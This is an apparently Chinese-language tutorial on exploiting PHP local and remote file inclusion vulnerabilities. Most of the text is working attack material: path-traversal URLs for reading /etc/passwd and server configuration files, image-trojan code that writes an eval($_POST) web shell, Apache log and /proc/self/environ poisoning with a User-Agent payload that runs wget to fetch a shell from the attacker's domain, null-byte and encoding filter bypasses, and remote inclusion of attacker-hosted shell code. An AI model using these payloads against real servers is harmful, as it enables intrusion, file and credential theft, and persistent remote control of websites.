1、漏洞原理
主要在PHP中产生比较多，本文详细介绍PHP的包含漏洞
PHP中包含其他文件的函数有这些，在做代码审计需要用到和记住
include() //当使用该函数包含文件时，只有代码执行到 include() 函数时才将文件包含进来，发生错误时只给出一个警告，继续向下执行。 include_once() //功能和 include() 相同，区别在于当重复调用同一文件时，程序只调用一次。 require()//只要程序一执行就会立即调用文件,发生错误的时候会输出错误信息,并且终止脚本的运行 require_once()//的功能与 require() 相同，区别在于当重复调用同一文件时，程序只调用一次。 fopen()//打开指定的某个文件 readfile()//读取指定的文件
2、分类
1. 本地文件包含 LFI(Local File Include)
2. 远程文件包含 RFI(Remote File Include)（需要 php.ini 中 allow_url_include=on、allow_url_fopen = On）
3、漏洞利用
本地包含漏洞案例（LFI）
新建一个phpinfo.txt，然后新建一个shell.php，写入： <?php Include("phpinfo.txt"); ?> 访问shell.php会输出phpinfo页面内容，无论将扩展名改为什么，都将以php代码执行。如果文件不是符合php规则的（即没有写<?php ?>等），则通过include可以直接输出源码。
本地包含漏洞利用
3.1 读取敏感信息
比如： http://www.xxx.com/index.php?page=/etc/passwd Windows: c:oot.ini c:windowssystems32inetsrvMetaBase.xml c:windows epairsam c:windowsphp.ini php配置文件 c:windowsmy.ini mysql配置文件 LINUX: /etc/passwd /usr/local/app/apache2/conf/http.conf /usr/local/app/php5/lib/php.ini PHP相关设置 /etc/httpd/conf/http.conf apache配置文件 /etc/my.cnf mysql配置文件 目录遍历 比如： http://www.xxx.com/index.php?page=./../../test.txt ./ 当前目录 ../ 上一级目录,这样的遍历目录来读取文件
3.2 文件上传拿shell
上传一个图片木马a.jpg，内容为： <?fputs(fopen("shell.php","w"),"<?php eval($_POST[x]);?>")?> 访问URL： http://www.xxx.com/index.php?page=./a.jpg在本地生成shell.php。
3.3 配合apache日志拿shell
apache日志分为access.log与error.log，当我们请求一个url地址时，便会记录在access.log中，但如果访问一个不存在的页面，便会将这个页面写入access.log中。如访问URL: http://www.xxx.com/<?php eval([$_POST]);?> 则会将一句话写入到access.log中，但是一般来说，写入到access.log文件中的一句话是被编码的，所以需要抓包绕过，而且利用此漏洞需要知道access.log的地址，不然便没有。默认
情况下，日志保存路径在 /var/log/apache2/。 利用条件：需要知道服务器日志的存储路径，且日志文件可读。 提交如下请求，将 payload 插入日志 可以尝试利用 UA 插入 payload 到日志文件 默认日志地址： apache+Linux 日志默认路径 /etc/httpd/logs/access_log 或者 /var/log/httpd/access log apache+win2003 日志默认路径 D:/xampp/apache/logs/access.log D:/xampp/apache/logs/error.log IIS6.0+win2003 默认日志文件 C:/WINDOWS/system32/Logfiles IIS7.0+win2003 默认日志文件 %SystemDrive%/inetpub/logs/LogFiles nginx 日志文件在用户安装目录的 logs 目录下 如安装目录为 /usr/local/nginx,则日志目录就是在 /usr/local/nginx/logs 也可通过其配置文件 Nginx.conf，获取到日志的存在路径 /opt/nginx/logs/access.log web 中间件默认配置地址 apache+linux 默认配置文件 /etc/httpd/conf/httpd.conf 或者 index.php?page=/etc/init.d/httpd IIS6.0+win2003 配置文件 C:/Windows/system32/inetsrv/metabase.xml IIS7.0+WIN 配置文件 C:/Windows/System32/inetsrv/config/application/Host.config
3.4 利用/proc/self/environ进行包含
利用条件： 1. php 以 cgi 方式运行，这样 environ 才会保持 UA 头。 2. environ 文件存储位置已知，且 environ 文件可读。 proc/self/environ 中会保存 user-agent 头。如果在 user-agent 中插入 php 代码，则 php 代码会被写入到 environ 中。之后再包含它，即可 比如： http://www.test.com/view.php?page=../../../../proc/self/environ 路径不知道试一试 http://www.test.com/view.php?page=../../../../../../../proc/self/environ 选择 User-Agent 写代码如下： <?system('wget http://www.你的域名.com/oneword.txt -O shell.php');?> 这是web进程运行时的环境变量，其中有些参数是可以被用户控制的，最常见做法就是在User-Agent中插入一句话。
3.5 截断包含
有些开发者为了防止本地包含漏洞，会编写一下代码: <?php Include $_GET['page'].".php" ?> （一）00截断包含 新建1.jpg: <?fputs(fopen("shell.php","w"),"<?php eval($_POST[x]);?>")?> 这样的话比如上传一个1.jpg图片马，则访问 http://www.xxx.com/1.jpg 其实这个时候访问的是1.jgp.php，因为没有这个文件所以报错。这是，可以尝试访问 http://www.xxx.com/1.jpg%00 新建a.txt： <?php include($_GET['a'].'.php') ?> 上传我们的 2.txt 文件,请求 http://localhost/test/1.php?a=2.txt%00 即可执行 2.txt 中 phpinfo 的代码 （二）使用长目录截断 ？page=././././././././././././././etc/passwd 或者 ？page=////////////////////////////etc/passwd 或者 ？page=../a/etc/passwd/../a/etc/passwd/../a/etc/passwd 或者 ？page=../../../../../../../../../var/www/%00 服务器端常常会对于 ../ 等做一些过滤，可以用一些编码来进行绕过。下面这些总结来自《白帽子讲 Web 安全》。 利用 url 编码： ../ -》 %2e%2e%2f -》 ..%2f -》 %2e%2e/ .. -》 %2e%2e%5c -》 ..%5c -》 %2e%2e 二次编码： ../ -》 %252e%252e%252f .. -》 %252e%252e%255c 在windows下目录最大长度为256字节，linux下为4096字节，其后面超出部分被丢弃。
远程包含漏洞案例
新建php.txt: <?php echo "hello world"; ?> 新建index.php: <?php Include($_GET['page']); ?> 随后访问 http://www.xxxx.com/page=http://www.xxxx.com/php.txt执行结果将输出hello world。 远程包含漏洞利用
远程包含shell
新建test.txt文件，保存在你自己远程服务器上，内容如下： <?fputs(fopen("shell.php","w"),"<?php eval($_POST[x]);?>")?> 如果目标网站存在远程包含漏洞，则可以通过访问： http://www.xxx1.com/index.php?page=http://www.你的域名.com/test.txt则会在服务器根目录下生产一个shell.php内容为: <?php eval($_POST[x]);?>
利用php协议进行包含
漏洞应用条件： data: php5.2以后版本 php://input 需要开启allow_url_include poc: http://www.xxx.com/index.php?file=data:text/plain,<?php phpinfo();?>%00